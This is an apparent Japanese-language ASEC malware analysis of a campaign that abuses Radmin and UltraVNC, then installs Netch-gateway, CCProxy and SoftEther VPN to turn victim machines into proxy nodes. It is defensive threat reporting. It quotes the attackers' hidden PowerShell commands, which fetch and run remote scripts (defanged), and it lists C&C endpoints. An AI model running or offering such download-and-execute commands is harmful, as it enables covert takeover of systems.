AhnLab SEcurity intelligence Center (ASEC) は最近、Radmin および UltraVNC を悪用した攻撃事例を確認した。最初の侵入経路は確認されていないが、攻撃者はリモート制御ツールである Radmin をインストールした後、UltraVNC をインストールしていた。攻撃者はこれらのリモート制御ツールを悪用して感染システムの制御を奪取し、Netch、CCProxy をインストールして感染システムをプロキシノードとして利用した。最近では、感染システムを VPN サーバーとして悪用するために SoftEther VPN をインストールしている。
1. 初期段階
初期侵入段階でどのような方法でマルウェアをインストールしたのかは現時点では確認されていない。しかし、PowerShell プロセスが curl コマンドを使用して以下のパスから圧縮ファイルをダウンロードしたことが確認された。
- hxxp://103.86.86[.]244:800/gateway/r.zip
圧縮ファイルの内部には、Batch スクリプト、REG ファイル、Radmin リモート制御ツールが存在する。攻撃事例で確認されたパス名から判断すると、攻撃者またはマルウェアが圧縮ファイルを解凍し、内部に存在する 11.bat を実行したものと推測される。

[図1] Radmin インストールスクリプト
11.bat は C:\Intel\RServer のパスに Radmin をインストールし、install.reg ファイルを登録することで、Radmin Server の設定情報、すなわち Radmin のポート番号、攻撃者 ID、Radmin ポートなどを攻撃者が指定した値に設定した。
- 攻撃者 ID : “ruxin”

[図2] レジストリに登録された Radmin の設定
2. Radmin
感染システムに指定された設定で Radmin がインストールされると、攻撃者は IP アドレスさえ把握していれば感染システムを制御できる。Radmin はリモート制御および監視機能を提供するリモートデスクトップソフトウェアであり、Radmin Server と Radmin Viewer に分かれている。ユーザーは管理対象システムに Radmin Server をインストールし、Radmin Viewer を使用して管理対象システムを制御できる。
つまり、感染システムにインストールされたのは Radmin Server であり、攻撃者は以下のように感染システムの IP アドレスに対して指定されたポートから接続し、設定情報に含まれる ID/PW を使用してログインできる。

[図3] Radmin Server がインストールされたシステムの制御に使用される Radmin Viewer
3. UltraVNC
3.1. インストールスクリプト
攻撃者は、すでに感染システムにインストールされている Radmin Server を悪用して制御を奪取した。しかし、Radmin を悪用して以下のような追加の PowerShell コマンドを実行し、UltraVNC およびプロキシツールもインストールしていた。
以下のコマンドによって実行される PowerShell スクリプトには、中国語のコメントが含まれていることが特徴である。インストールスクリプトはインストール先となる C:\Windows\Fonts\web フォルダーを作成し、アンチウイルス製品を対象として例外パスを追加しようとする。しかし、実際には存在しないファイルが使用されていることから、このスクリプトが単純に AI を利用して作成された可能性があることを示している。
> powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command “irm hxxp://103.86.86[.]244:800/v/deploy.ps1 | iex”

[図4] Radmin によって実行された PowerShell ログ
その後、ダウンロードサーバーから UltraVNC 関連のファイルをインストールフォルダーにダウンロードし、svchost.exe を実行する。svchost.exe は、以下で説明する UltraVNC インストーラーである。インストーラーがサービスのインストールに失敗した場合は、WpnUserHost というサービスを登録し、インストーラーがサービスとして動作するようにする。さらに、WpnUserHost_MutualWatchdog という名前のタスクを登録し、repair.ps1 ファイルをダウンロードして実行するようにする。
以下は、インストーラーが使用する設定ファイルの内容である。

[図5] ダウンロードされた設定ファイル
- インストールパス : “C:\Windows\Fonts\web”
- UltraVNC 設定ファイルのパス : “C:\Windows\Fonts\web\web.ini”
- C&C サーバー : hxxp://tt.yeyoujs[.]com:8443
- マルウェア配布アドレス : hxxp://103.86.86[.]244:800/c/
- トンネリングアドレス : tt.yeyoujs[.]com:9443
3.2. UltraVNC インストーラー
インストーラーは PyInstaller で作成されており、client という名前が付けられている。サービスとして動作していない場合は終了し、インストールスクリプトによって WpnUserHost サービスとして登録できるようにする。
サービスとして動作している場合は、WpnUserHost_HourlyWatchdog というタスクを登録し、1時間間隔で repair.ps1 ファイルをダウンロードして実行するようにする。
ここまでの処理が完了すると、内部に存在する agent.py を実行する。
実質的な機能は agent.py に含まれている。設定ファイル config.json を参照して追加のインストール処理を行い、まず内部に含まれている UltraVNC をインストールする。その後、ファイアウォール規則を追加し、一時的に使用する VNC ポートおよびパスワードをランダムに設定し、それらを UltraVNC の設定ファイルである web.ini および ultravnc.ini に書き込む。
| URL | 段階 |
|---|---|
| /api/agent/enroll | デバイスの登録 (パスワード、トークンなどの情報を受信) |
| /api/agent/heartbeat | ステータス報告 (VNC ポートなどの情報を送信) |
| /api/agent/password_ack | パスワードの適用確認 |
[表1] インストーラーが使用する URL フォーマット
インストーラーは C&C サーバーに接続し、hostname および mahine_id を送信して、device_id、token、VNC パスワードなどのデータを受信する。そして、受信したパスワードを暗号化して VNC パスワードとして使用する。

[図6] 登録処理時のパケット内容
Heartbeat 処理では、VNC ポートを含むステータス情報を送信するとともに、受信したパスワードが適用されたことを確認する処理も行う。
当初は PyInstaller で作成されたタイプが配布されていたが、最近では Go 言語で作成されたタイプが配布されている。

[図7] Go 言語で作成されたインストーラー
3.3. UltraVNC
UltraVNC も上記で説明した Radmin と同様に、リモート画面制御を提供するソフトウェアである。ソースコードが公開されており、UltraVNC Server と UltraVNC Viewer に分かれている。
攻撃事例でインストールされたのは UltraVNC Server であり、攻撃者がビルドしたものと推測される。攻撃者はその後、C&C サーバーとして報告された IP アドレスおよび VNC ポート番号に接続し、自ら指定したパスワードでログインすることで、感染システムをリモート制御できる。

[図8] UltraVNC Server がインストールされたシステムの制御に使用される UltraVNC Viewer
4. プロキシ
4.1. Netch-gateway
攻撃者は UltraVNC だけでなく、中国人開発者が作成したと推測されるプロキシツールもインストールしていた。
今回確認された攻撃事例では、感染システムの制御を奪取するだけでなく、感染システムをプロキシサーバーとして利用することも目的としている。
Radmin を悪用して以下の PowerShell コマンドを実行しており、ダウンロードされた PowerShell スクリプトは実行ファイルと設定ファイルである config.json をダウンロードした後、引数として指定して実行する。
> powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command “irm hxxp://103.86.86[.]244:800/gateway/deploy_silent1.ps1 | iex”
Netch-gateway はプロキシプログラムであり、SOCKS5、Shadowsocks、KCP プロトコルをサポートしている。直接実行した場合は、以下のような GUI を表示する。

[図9] Netch-gateway プログラム
実行時には設定ファイルを参照し C&C サーバーの auto-config URL に接続してノードを登録した後、desired URL からプロキシ設定情報をダウンロードする。
現時点では設定情報をダウンロードすることはできないが、正常にダウンロードされた場合には、プロキシポートおよび接続パスワードが含まれていると考えられる。その後、攻撃者は感染システムをプロキシノードとして利用し、悪意のある動作を行う可能性がある。
| URL | 段階 |
|---|---|
| /internal/shadowsocks/auto-config | 初回接続 (ノード登録) |
| /internal/shadowsocks/nodes/<node_id>/desired | プロキシ設定のダウンロード |
| /internal/shadowsocks/nodes/<node_id>/config-version | 設定バージョンの確認 |
| /internal/shadowsocks/nodes/<node_id>/heartbeat | ステータス報告 |
[表2] Netch-gateway가 사용하는 URL 포맷

[図10] 設定アドレスとの通信パケット
4.2. CCProxy
攻撃者は初期段階では CCProxy を使用していた。CCProxy も、HTTP、HTTPS、SOCKS、FTP など、複数のプロキシ機能をサポートするツールである。
WinRAR SFX で作成されたドロッパーには、インストールスクリプト、レジストリファイル、CCProxy などが含まれている。設定ファイルである CCProxy.ini の内容を見ると、ポート番号49661を介して SOCKS プロキシを有効化する設定となっている。

[図11] CCProxy インストーラー
4.3. SoftEther VPN
最近では、SoftEther VPN をインストールする事例が確認された。
WinRAR SFX 形式のドロッパーには、Batch 形式のインストールスクリプト a.bat、バージョン情報を正規の Microsoft プログラムに偽装した SoftEther VPN の svchost.exe、設定ファイル vpn_server.config などが含まれており、実行すると SoftEther VPN をインストールする。
これにより、攻撃者は感染システムを VPN サーバーとして悪用することが可能になる。

[図12] SoftEther VPN インストールスクリプト
5. 攻撃者の情報
最初の侵入方法や攻撃者に関する情報は、まだ確認されていない。
しかし、攻撃に使用されたスクリプトに中国語のコメント文字列が含まれていることや、使用されているツールが中国語ユーザーに馴染みのあるものであり、設定情報も中国語であることから、攻撃者が中国語を使用するユーザーである可能性がある。

[図13] 中国語のコメントが含まれたスクリプト
このほか、Netch-gateway プログラムの設定ファイルに指定されたアドレスに接続してノードを登録する。プロキシ設定情報をダウンロードする際に使用されるアドレスは、Web ブラウザからアクセスすると中国語のページでプロキシサービスを表示する。
6. 結論
最近、韓国のユーザーを対象として Radmin や UltraVNC などのリモート制御ツールをインストールする攻撃事例が確認されている。
攻撃者は、インストールしたリモート制御ツールを悪用して感染システムの制御を奪取し、その後、複数のプロキシツールや SoftEther VPN サーバーをインストールするケースも確認されている。
このような攻撃にさらされた場合、システムに保存されている機密情報が窃取される可能性があるほか、システムがプロキシまたは VPN サーバーとして悪用される可能性がある。
ユーザーは、出所が不明な実行ファイルには特に注意し、V3 を最新バージョンにアップデートすることでマルウェアへの感染を事前に防止できるよう対策する必要がある。
Categories: マルウェア